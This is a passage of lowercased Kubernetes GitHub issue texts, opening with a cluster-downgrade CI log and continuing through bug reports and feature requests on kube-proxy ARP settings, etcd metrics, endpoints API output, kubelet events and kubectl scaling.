bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ b4988316-0d2f-42a4-ba99-f3126b732dcb  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 2afc3ade-4051-4276-9790-1b5d9ecad54e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ e2d06815-570c-48a9-ac48-410c0945ef1f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 567b146e-f183-4361-b9fe-4b31d99867fb  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 88ecba5e-b03b-4c4d-8220-9d4b9f186339  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 844000d6-c5a6-4496-bce3-146f5645873a  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 5da7be0e-5128-41ac-8e1e-da20bda60631  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 9f794c06-e1c4-410b-8c87-a60c84e308ad  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 12494f81-ec4c-4591-bf67-95c7b74e5d45  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 64d94ecf-b82a-4663-ab47-93298b29bfc5  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 917b059d-8527-4ced-9586-79db7fee5c95  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 9da82c85-0a2b-475e-8de7-a7911af7befd  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 5d9760d6-d2c6-4321-bdcc-35b79045ec92  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 887d94b3-4c62-439b-9fb7-3a8d99e53d20  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 0cb68b23-9f4e-45d6-b76a-6e41f7ac0d68  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ ff1774d1-e3ed-4ce8-a217-711fde4296ef  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 7a1d68ea-aa38-440b-9016-c4cbd5dd489b  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 238ba78b-d1c6-4ac7-9c34-7cbe8231589a  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ cc8fb6f3-2054-4695-a6c5-9f3b0cf567a3  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 2a2f9fce-7baf-4398-8ec8-1baccee5958d  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 6733f40b-71c1-433e-a25c-c3b837c09e6c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 52f56c45-4fa2-4a54-b3ef-544bac989d74  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 50999475-6c72-4389-ab47-a2ea6e81f4e3  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ db53f5a7-76ca-43d6-b2e0-b544a6aa144c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 8fa0cde5-05c1-48f8-abf8-96a751751afb  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ f0ceaf6d-3f29-428b-9171-11c7d057cf16  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ 1f9a3744-cd18-478b-b2fe-2116f86d4bc1  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-28-1a17f8f827f989  rolled_out  3/3 instances updated\ a7724c74-ac73-4af6-a582-5db23c619067  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\ 25d357a7-9829-42be-a607-0531b298e697  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\ c1606ba9-fdb8-43f7-b811-001a97b60c48  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\ bfec9ad3-ab2f-4583-9f12-274efcc27624  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\ 825d787e-7ed6-4980-b27b-3ddedd324823  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\ 0717b7e8-217c-4bfe-8106-33c1b4ed65cb  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\ 77089b3c-52c1-4c93-9a89-49b7aee5d784  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\ 2ac13f71-8a65-47c2-afac-a2679aed015e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-26-c50a84e4237d2d  rolled_out  3/3 instances updated\ f902c8e8-4eb8-43d5-9156-39cb485e9978  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-22-eacda95c363562  rolled_out  3/3 instances updated\ 945b0e9d-eab5-44b4-9a8f-8b49bca438e5  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\ 9da090df-12f5-4b53-85fc-d0ddd8818199  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\ 8044febf-4ebc-4cf0-80dc-e203989e9e0e  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\ ad74c367-f1c6-442e-9af1-05ccce43b5c7  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\ 564f2bec-1bd9-43e4-9c27-7321d94f569a  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\ 2bcc0d5e-7efb-4289-a86a-c7f55adfb581  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-20-6aa119501d44ae  rolled_out  3/3 instances updated\ 47e8028b-823d-4fe0-b871-cba4c4b43b0c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-18-52f6d3fbfb3396  rolled_out  3/3 instances updated\ 3e6882f2-71c7-40f7-a5d1-8d6ebd9c917c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-16-3793a865536153  rolled_out  3/3 instances updated\ 62345f0f-8dfa-4cd9-aa56-774a6e3fb7ac  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-16-3793a865536153  rolled_out  3/3 instances updated\ fb6c4439-dddf-48cf-bd33-c3c5281a76a7  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\ a3d165f6-d4aa-48a9-b19a-ff7785bdb7bf  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\ bcc79e16-aca5-4f14-a0b1-19409c7bc196  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\ 09fcb767-1e4d-4e8c-80c6-fb7663024751  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\ 9a8134f3-6ddb-4c97-8b42-ad6c1e401f3f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\ 8e766cb5-df4e-4efa-bd76-955f53a00d4c  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\ e26f70c9-17ee-4e75-8953-d52e2a8c670f  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\ acf840bc-ea52-4408-ac05-4cea3f647149  bootstrap-e2e-minion-group  bootstrap-e2e-minion-template-v1-5-5-beta-0-14-0fb9a2d414403e  rolled_out  3/3 instances updated\ \ , stderr \ project: k8s-gce-dg-1-6-1-5-dwngr-clu\ zone: us-central1-f\ instance_groups=bootstrap-e2e-minion-group\ node_names=bootstrap-e2e-minion-group-9gvm bootstrap-e2e-minion-group-h8bb bootstrap-e2e-minion-group-qbj1\ == preparing node upgrade  to v1.5.8-beta.0.14+750b2a4d703b15 . ==\ warning: permanently added 'compute.360874364351051701'  ecdsa  to the list of known hosts.\\r\ instance template bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15 already exists; deleting.\ attempt 1 to create bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15\ warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks pdperformance.\ created  https://www.googleapis.com/compute/v1/projects/k8s-gce-dg-1-6-1-5-dwngr-clu/global/instancetemplates/bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15 .\ name                                                           machine_type   preemptible  creation_timestamp\ bootstrap-e2e-minion-template-v1-5-8-beta-0-14-750b2a4d703b15  n1-standard-2               2017-05-18t09:29:13.708-07:00\ == finished preparing node upgrade  to v1.5.8-beta.0.14+750b2a4d703b15 . ==\ == upgrading nodes to v1.5.8-beta.0.14+750b2a4d703b15. ==\ == calling rolling-update for bootstrap-e2e-minion-group. ==\ \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:145           failure cluster statistics: 1 tests failed,    1 jobs failed,    55 builds failed. failure stats cover 1 day time range '24 may 2017 15:03 utc' to '25 may 2017 15:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  downgrade  feature:downgrade   k8s.io  cluster downgrade should maintain a functioning cluster  feature:clusterdowngrade  | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster | 55 |  25 may 2017 14:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster/3377  |   current status  https://go.k8s.io/triage 728c3f4daf9816b35002

e2e test --  k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover failed a lot: https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial. for example: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/1142/\r \r    \r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=restart\\s\\ disruptive\\ \\sshould\\srestart\\sall\\snodes\\sand\\sensure\\sall\\snodes\\sand\\spods\\srecover$'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:125\r may 30 00:07:42.719: at least one pod wasn't running and ready after the restart.\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/restart.go:123from junit_01.xml\r    \r we should triage this failure before cutting beta.0 tomorrow. \r \r cc/ @kubernetes/kubernetes-release-managers  @kubernetes/sig-node-bugs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : tip\r \r \r   environment  :\r -   cloud provider or hardware configuration  : dind\r -   os    e.g. from /etc/os-release : ubuntu\r -   kernel    e.g.  uname -a  :\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r for a simple pod spec like below, most of the events have now stopped appearing \r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: init-test\r spec:\r   initcontainers:\r   - name: first\r     image: bash\r     command:  \ /usr/local/bin/bash\ , \ -c\ , \ echo started\  \r   containers:\r   - name: main\r     image: bash\r     command:   \ /usr/local/bin/bash\ , \ -c\ , \ --\   \r     args:   \ while true; do sleep 1; echo : date ;done;\   \r    \r following are the events produced, after init-contianer events no event about the main container has been updated.   probably because both these containers have same container ref / image \r    \r   firstseen     lastseen        count   from                    subobjectpath                   type            reason                  message\r   ---------     --------        -----   ----                    -------------                   --------        ------                  -------\r   1m            1m              1       default-scheduler                                       normal          scheduled               successfully assigned init-test to kube-node-3\r   1m            1m              1       kubelet, kube-node-3                                    normal          successfulmountvolume   mountvolume.setup succeeded for volume \ default-token-td66p\ \r   1m            51s             2       kubelet, kube-node-3    spec.initcontainers{first}      normal          pulling                 pulling image \ bash\ \r   52s           46s             2       kubelet, kube-node-3    spec.initcontainers{first}      normal          pulled                  successfully pulled image \ bash\ \r   52s           46s             2       kubelet, kube-node-3    spec.initcontainers{first}      normal          created                 created container\r   52s           46s             2       kubelet, kube-node-3    spec.initcontainers{first}      normal          started                 started container\r \r    \r but the container  main  had been created, started and executed by the kubelet.\r    \r jun 17 04:56:02 kube-node-3 hyperkube 7929 : i0617 04:56:02.549331    7929 server.go:351  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ init-test\ , uid:\ 3c8e40e9-5319-11e7-b676-02420ac00002\ , apiversion:\ v1\ , resourceversion:\ 7800\ , fieldpath:\ spec.containers{main}\ } : type: 'normal' reason: 'pulling' pulling image \ bash\ \r jun 17 04:56:07 kube-node-3 hyperkube 7929 : i0617 04:56:07.162689    7929 kuberuntime_container.go:110  generating ref for container main: &v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ init-test\ , uid:\ 3c8e40e9-5319-11e7-b676-02420ac00002\ , apiversion:\ v1\ , resourceversion:\ 7800\ , fieldpath:\ spec.containers{main}\ }\r jun 17 04:56:07 kube-node-3 hyperkube 7929 : i0617 04:56:07.163342    7929 kubelet_pods.go:118  container: default/init-test/main podip: \ 10.192.4.3\  creating hosts mount: true\r jun 17 04:56:07 kube-node-3 hyperkube 7929 : i0617 04:56:07.164032    7929 server.go:351  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ init-test\ , uid:\ 3c8e40e9-5319-11e7-b676-02420ac00002\ , apiversion:\ v1\ , resourceversion:\ 7800\ , fieldpath:\ spec.containers{main}\ } : type: 'normal' reason: 'pulled' successfully pulled image \ bash\ \r jun 17 04:56:07 kube-node-3 hyperkube 7929 : i0617 04:56:07.260751    7929 server.go:351  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ init-test\ , uid:\ 3c8e40e9-5319-11e7-b676-02420ac00002\ , apiversion:\ v1\ , resourceversion:\ 7800\ , fieldpath:\ spec.containers{main}\ } : type: 'normal' reason: 'created' created container\r jun 17 04:56:07 kube-node-3 hyperkube 7929 : i0617 04:56:07.349768    7929 server.go:351  event v1.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ init-test\ , uid:\ 3c8e40e9-5319-11e7-b676-02420ac00002\ , apiversion:\ v1\ , resourceversion:\ 7800\ , fieldpath:\ spec.containers{main}\ } : type: 'normal' reason: 'started' started container\r    \r \r @derekwaynecarr  is this expected after this  pr  https://github.com/kubernetes/kubernetes/pull/47462 ? \r   what you expected to happen  :\r should be able to see events about every container.\r \r   how to reproduce it    as minimally and precisely as possible :\r mentioned above\r \r   anything else we need to know  :\r \r

kubelet collect node info  by advisor  and sent to apiserver every 10s. scheduler will watch this nodes and cache it for scheduling.after scheduling,scheduler will assumepod which lead to cached nodes info inconsistent with data in apiserver.which one will be used in next scheduling?

in etcd 3.1.0 the following grpc metrics were  deprecated  https://github.com/coreos/etcd/blob/master/changelog.md changed-8 :\r \r -  etcd_grpc_requests_total \r -  etcd_grpc_requests_failed_total \r -  etcd_grpc_active_streams \r -  etcd_grpc_unary_requests_duration_seconds \r \r  etcd-version-monitor  https://github.com/kubernetes/kubernetes/tree/master/cluster/images/etcd-version-monitor  is currently hard coded to exposes the  etcd_grpc_requests_total  metric. in etcd 3.1+, all grpc metrics are exposed via  go-grpc-prometheus  https://github.com/grpc-ecosystem/go-grpc-prometheus . the metrics change is backward incompatible and when  etcd-version-monitor  exposes metrics from an etcd 3.1+ cluster, no grpc metrics are exposed.\r \r we need to:\r \r - update  etcd-version-monitor  to handle both the 3.0 legacy grpc metric format and 3.1+ go-grpc-prometheus metrics format   56871 \r - replace the etcd version http endpoint polling in  etcd-version-monitor  with the version metric now exposed by etcd via https://github.com/coreos/etcd/pull/8960\r - make it trivial to expose additional metrics through  etcd-version-monitor   little or no code should be required  to enable critical metrics like request latency to be exposed via  etcd-version-monitor    56871 \r - start phasing out  etcd-version-monitor  entirely. once the version metric is exposed by etcd  coreos/etcd 8960  is available in etcd releases used by kubernetes, and we've resolved  go-rpc-prometheus  backward compatibility issues, the metrics exposed by  etcd-version-monitor  will converge to be a strict subset of the metrics etcd exposes, and we can phase it out. this will take time. but we can preparing for that now by requiring that all new metrics be exposed directly, without any metric renaming, label renaming, or other manipulation.\r \r cc @wojtek-t @mml @shyamjvs @gyuho @cheftako

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r older versions are not available for package manager\r \r   what you expected to happen  :\r to install kebelet 1.7.x\r \r   how to reproduce it  as minimally and precisely as possible   :\r yum install kubelet-1.7.0-0.x86_64\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r i can't install any other version than 1.9.1 on a rhel server.\r \r last week i was able to install, but now the only published version for yum is 1.9.1.\r \r both  yum repolist  and the remote package file  https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64/repodata/filelists.xml  confirm that the only available version is 1.9.1\r \r \r \r \r

what happened  :\r after pr:  70530, we noticed communications issue in our pods.\r we use the lyft cni plugin  https://github.com/lyft/cni-ipvlan-vpc-k8s  which relies on two interfaces in pod:\r   an ipvlan interface connecting to the aws vpc which has a vpc ip\r   an unnumbered point-to-point interface  veth  connecting to the host and that does not have an ip  it \ borrows\  the one from the ipvlan interface \r \r on the host side, there is a veth interface which also doesn't have an ip  it borrows one from the main interface .\r \r with the latest versions of kube-proxy communication between host and pods break\r \r   what you expected to happen  :\r communication still works\r \r   how to reproduce it  as minimally and precisely as possible   :\r   use the lyft cni plugin\r   deploy kube-proxy  v1.13.0-beta.2 \r   try to ping the host from a pod  or a pod from the host \r \r   anything else we need to know?  :\r the new sysctls create 2 issues:\r   containers started after kube-proxy inherit net.ipv4.conf.all.arp_ignore=1 so they will not answer arp queries on the veth interface\r   the veth on the host side also does not have an ip so it will no answer arp queries from the pods\r \r i know that our setup is pretty uncommon but assuming that the veth on the host side will have an ip seems dangerous. some discussions on the ptp plugin for instance suggest not using ip for the host interface: containernetworking/plugins 137\r \r possible fixes:\r   create a flag to enable arp filtering  i think to avoid breaking existing setups, we should disable it by default but i'm fine with enabling it by default as long as we document the solution \r   use arptables to filter arp queries for clusterips   arptables -a input -d <clusterip> -j drop  : a bit more work because we need to do it for all clusterips  there may be a more efficient way to do it but i could not make it work by filtering on the kube-ipvs interface  and this requires the arptables binary. we could test for the existence of the binary and log a warning if it is missing  similar to behavior with conntrack \r \r   environment  :\r - kubernetes version  use  kubectl version  : kube-proxy  v1.13.0-alpha.3 \r - os  e.g. from /etc/os-release :  ubuntu 18.04.1 lts \r - kernel  e.g.  uname -a  :  linux ip-10-128-212-113 4.15.0-1023-aws  23-ubuntu smp mon sep 24 16:31:06 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r /area ipvs\r   \r /assign @m1093782566 \r ping @kvaps

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r this issue was moved from https://github.com/kubernetes-sigs/kind/issues/471\r \r \r   what happened  : building kubernetes with make fails on mac after https://github.com/kubernetes/kubernetes/pull/76974\r \r   what you expected to happen  : building should not fail\r \r   how to reproduce it  as minimally and precisely as possible   : build from a mac\r \r   anything else we need to know?  : mapfile is not available on macos bash. we should have a version check at minimum if we're going to use unsupported features  some of the code already does this \r \r cc @mtaufen @dims\r

just a reminder to remove the annoying  optionsexternalversion  after  17922 lands.

it is the time to collect all known issues for our coming release now. and runtimes' known issue are tracked separately: docker 1.10.x   19720 , docker 1.11.x   23397 , rkt  https://github.com/kubernetes/kubernetes/issues/26201   cc/ @thockin @bgrant0607 @matchstick @davidopp @lavalamp @roberthbailey @fgrzadkowski   cc/ @timothysc @kubernetes/goog-node @yifan-gu @philips

i've been looking into how to handle a issue surrounding the openstack provider code assuming that the node name is equal to the instance name.  it seems like much of the cloud providers use searches by name in  externalid     deprecated  and  instanceid    to convert the node name to a cloud instanceid.  currently, afaict, these are only used in a few places: - load balancer attach  provider internal  - volume attach  provider internal  - kubelet node resource creation - node controller to remove nodes that are no longer in the cloud  it seems to me that the decoupling the node name completely from the cloud provider lookups would be a good thing, using the externalid field in the node resource to contain the cloud-specific instance id to establish the node-to-instance mapping rather than doing a lookup by node name, which creates a layering dependency  the aforementioned assumptions about the node name meaning something at the cloud layer .  what do people think about this?  i don't mind doing the work, just don't want to go off on a fool's errand if there is a reason this is not done already.  @kubernetes/rh-cluster-infra @anguslees @mikedanese

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : subsets null\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.0 beta3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : local environment\r -   os    e.g. from /etc/os-release : centos 7.3\r -   kernel    e.g.  uname -a  : 3.10.0-514.6.1.el7.x86_64\r -   install tools  : manual\r -   others  :\r \r \r   what happened  : starting with kubernetes 1.6.0 the /api/v1/endpoints endpoint returns subsets as a null value instead of an empty list when there are no values to show.\r example from 1.6\r    \r {\r       \ metadata\ : {\r         \ name\ : \ kube-controller-manager\ ,\r         \ namespace\ : \ kube-system\ ,\r         \ selflink\ : \ /api/v1/namespaces/kube-system/endpoints/kube-controller-manager\ ,\r         \ uid\ : \ 0fa97080-06b3-11e7-86c2-0237b2d87d14\ ,\r         \ resourceversion\ : \ 536232\ ,\r         \ creationtimestamp\ : \ 2017-03-11t23:32:58z\ ,\r         \ annotations\ : {\r           \ control-plane.alpha.kubernetes.io/leader\ : \ {\\\ holderidentity\\\ :\\\ k8s\\\ ,\\\ leasedurationseconds\\\ :15,\\\ acquiretime\\\ :\\\ 2017-03-11t23:32:58z\\\ ,\\\ renewtime\\\ :\\\ 2017-03-16t03:48:58z\\\ ,\\\ leadertransitions\\\ :0}\ \r         }\r       },\r       \ subsets\ : null\r },\r    \r \r   what you expected to happen  : in kubernetes before 1.6, response would show like below:\r    \r {\r     \ metadata\ : {\r         \ name\ : \ kube-controller-manager\ ,\r         \ namespace\ : \ kube-system\ ,\r         \ selflink\ : \ /api/v1/namespaces/kube-system/endpoints/kube-controller-manager\ ,\r         \ uid\ : \ 39d5f51a-05fb-11e7-be44-0237b2d87d14\ ,\r         \ resourceversion\ : \ 75186\ ,\r         \ creationtimestamp\ : \ 2017-03-11t01:37:02z\ ,\r         \ annotations\ : {\r             \ control-plane.alpha.kubernetes.io/leader\ : \ {\\\ holderidentity\\\ :\\\ k8s\\\ ,\\\ leasedurationseconds\\\ :15,\\\ acquiretime\\\ :\\\ 2017-03-11t01:37:02z\\\ ,\\\ renewtime\\\ :\\\ 2017-03-11t16:26:04z\\\ ,\\\ leadertransitions\\\ :0}\ \r         }\r         },\r         \ subsets\ :   \r }\r    \r \r \r   how to reproduce it    as minimally and precisely as possible :\r simply hit api endpoint @ http://kube-apiserver:8080/api/v1/endpoints\r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r the  kubectl scale  only support the following scale but no incremental scale.\r \r    \r   examples:\r     scale a replicaset named 'foo' to 3.\r   kubectl scale --replicas=3 rs/foo\r \r     scale a resource identified by type and name specified in \ foo.yaml\  to 3.\r   kubectl scale --replicas=3 -f foo.yaml\r \r     if the deployment named mysql's current size is 2, scale mysql to 3.\r   kubectl scale --current-replicas=2 --replicas=3 deployment/mysql\r \r     scale multiple replication controllers.\r   kubectl scale --replicas=5 rc/foo rc/bar rc/baz\r \r     scale job named 'cron' to 3.\r   kubectl scale --replicas=3 job/cron\r    \r \r it is better introduce the following to support incremental scale.\r    \r   scale a replicaset by increasing 1 for rs named 'foo'.\r kubectl scale --replicas-increment=1 rs/foo\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

